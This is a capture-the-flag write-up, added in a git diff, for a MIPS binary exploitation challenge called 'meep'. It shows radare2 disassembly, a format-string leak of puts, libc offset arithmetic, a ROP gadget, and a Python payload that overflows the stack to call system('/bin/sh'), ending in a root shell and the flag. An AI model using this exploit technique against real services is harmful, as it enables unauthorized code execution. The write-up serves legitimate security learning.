added writeups exported from ctfnote

meep-pwn.md

@@ -0,0 +1,139 @@
+# meep - pwn
+fridgebuyer
+
+/meep ❯ file meep
+```
+meep: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld.so.1, BuildID[sha1]=140b4551e8ece2ef8f59a9b207d175713dc18e8f, for GNU/Linux 3.2.0, with debug_info, not stripped
+```
+
+/meep ❯ r2 -q -c 'aaa; afl' meep
+```
+0x004008a8    5    336 dbg.diagnostics
+0x004009f8    1    208 dbg.greet
+0x00400ac8   10    692 dbg.main
+```
+
+/meep ❯ r2 -q -e bin.relocs.apply=true -c "aaa; pdf @dbg.**greet**" meep
+```
+│           0x00400a4c      27c2001c       addiu v0, fp, 0x1c          ; meep.c:43:5
+│           0x00400a50      00003825       move a3, zero
+│           0x00400a54      24060100       addiu a2, zero, 0x100       ; arg3
+│           0x00400a58      00402825       move a1, v0
+│           0x00400a5c      00002025       move a0, zero
+│           0x00400a60      8f828034       lw v0, -sym.imp.recv(gp)
+│           0x00400a64      0040c825       move t9, v0
+│           0x00400a68      0320f809       jalr t9
+│           ...
+│           0x00400a90      27c2001c       addiu v0, fp, 0x1c          ; meep.c:46:5
+│           0x00400a94      00402025       move a0, v0
+│           0x00400a98      8f828068       lw v0, -sym.imp.printf(gp)
+│           0x00400a9c      0040c825       move t9, v0
+│           0x00400aa0      0320f809       jalr t9                   
+```
+
+0x100 -- sym.imp.recv reads 256 bytes into buf@fp+0x1c
+sym.imp.printf(gp) -- format string
+
+/meep ❯ r2 -q -c 'pdf @dbg.**diagnostics**' meep
+```
+│           0x004008d0      27c20018       addiu v0, fp, 0x18          ; meep.c:19:20
+│           ...
+│           0x0040090c      24060100       addiu a2, zero, 0x100       ; arg3
+│           0x00400910      27c20018       addiu v0, fp, 0x18
+│           0x00400914      00402825       move a1, v0
+│           0x00400918      00002025       move a0, zero
+│           0x0040091c      8f828034       lw v0, -sym.imp.recv(gp)
+│           0x00400920      0040c825       move t9, v0
+│           0x00400924      0320f809       jalr t9
+│           ...
+│           0x004009dc      8fbf00a4       lw ra, (var_a4h)
+│           0x004009e0      8fbe00a0       lw fp, (var_a0h)
+│           0x004009e4      8fb1009c       lw s1, (var_9ch)
+│           0x004009e8      8fb00098       lw s0, (var_98h)
+│           0x004009ec      27bd00a8       addiu sp, sp, 0xa8
+│           0x004009f0      03e00008       jr ra 
+```
+
+0x100 — reads 256 bytes into fp+0x18
+ra loaded from fp+0xa4, then jr ra
+buf to ra = 0xa4 - 0x18 = 0x8c = 140 bytes, recv reads 256 -- overflow
+s0 (fp+0x98), s1 (fp+0x9c), fp (fp+0xa0) rewriteable
+
+/meep ❯ readelf --dyn-syms meep | grep puts
+```
+18: 00000000  FUNC  UND  puts@GLIBC_2.0
+```
+- GOT entry at 0x411078
+- this is passed to greet func as "logger" 
+- greet func stores it on the stack at fp+0x18
+- printf's 6th arg
+
+so we can leak puts via %6$p
+
+meep ❯ nohup qemu-mips -L ./sysroot ./meep > /dev/null 2>&1
+...
+meep ❯ echo '%p.%p.%p.%p.%p.%p' | nc -w2 127.0.0.1 9001
+```Enter admin name: 
+Hello:
+
+(nil).0x1.(nil).0x419020.0x7.0x2b37d3b0
++*Enter diagnostic command:
+```
+
+
+/meep ❯ readelf -s lib-mips/libc.so.6 | grep -E ' puts| system'
+
+```
+puts:   0x0007d3b0
+system: 0x000536e8
+```
+
+
+so offsets:
+- libc_base  = leaked_puts - 0x7d3b0
+- system = libc_base + 0x536e8
+
+/meep ❯ strings -t x lib-mips/libc.so.6 | grep /bin/sh
+```
+1ba178 /bin/sh
+```
+- string "/bin/sh" is at 0x1ba178 in libc
+- we can refer to libc_base + 0x1ba178 for system("/bin/sh") argument
+
+/meep ❯ ROPgadget --binary lib-mips/libc.so.6 | grep '^.* : move \$t9, \$s1 ; jalr \$t9 ; move \$a0, \$s0$'
+```
+0x00027488 : move $t9, $s1 ; jalr $t9 ; move $a0, $s0
+```
+- https://devblogs.microsoft.com/oldnewthing/20180412-00/?p=98495
+- https://www.pagetable.com/?p=313
+- copy s1 into t9, we control s1 via overflow 
+- jump to t9 (system func)
+- delay slot: copy s0 into a0 ("/bin/sh" string addr)
+  
+### sol
+- Send `%6$p\n` 
+- leak puts addr: `libc_base = puts - 0x7d3b0`
+
+```python
+payload = b'A'*0x80                        # pad to s0
+payload += p32(libc_base + 0x1ba178)       # s0 → "/bin/sh"
+payload += p32(libc_base + 0x536e8)        # s1 → system()
+payload += p32(0x41414141)                 # fp
+payload += p32(libc_base + 0x27488)        # ra → gadget
+```
+- Gadget: `a0="/bin/sh"`, `jalr system()` gives shell
+
+
+/meep ❯ python3 sol.py remote
+```
+...
+[+] Leaked puts: 0x2b7bd3b0
+[+] libc base:  0x2b740000
+[+] Shell response: uid=1000 ...
+...
+```
+$ .
+```uid=0(root) gid=0(root) groups=0(root)```
+
+$ cat /home/flag.txt
+**gigem{m33p_m1p_1_n33d_4_m4p}**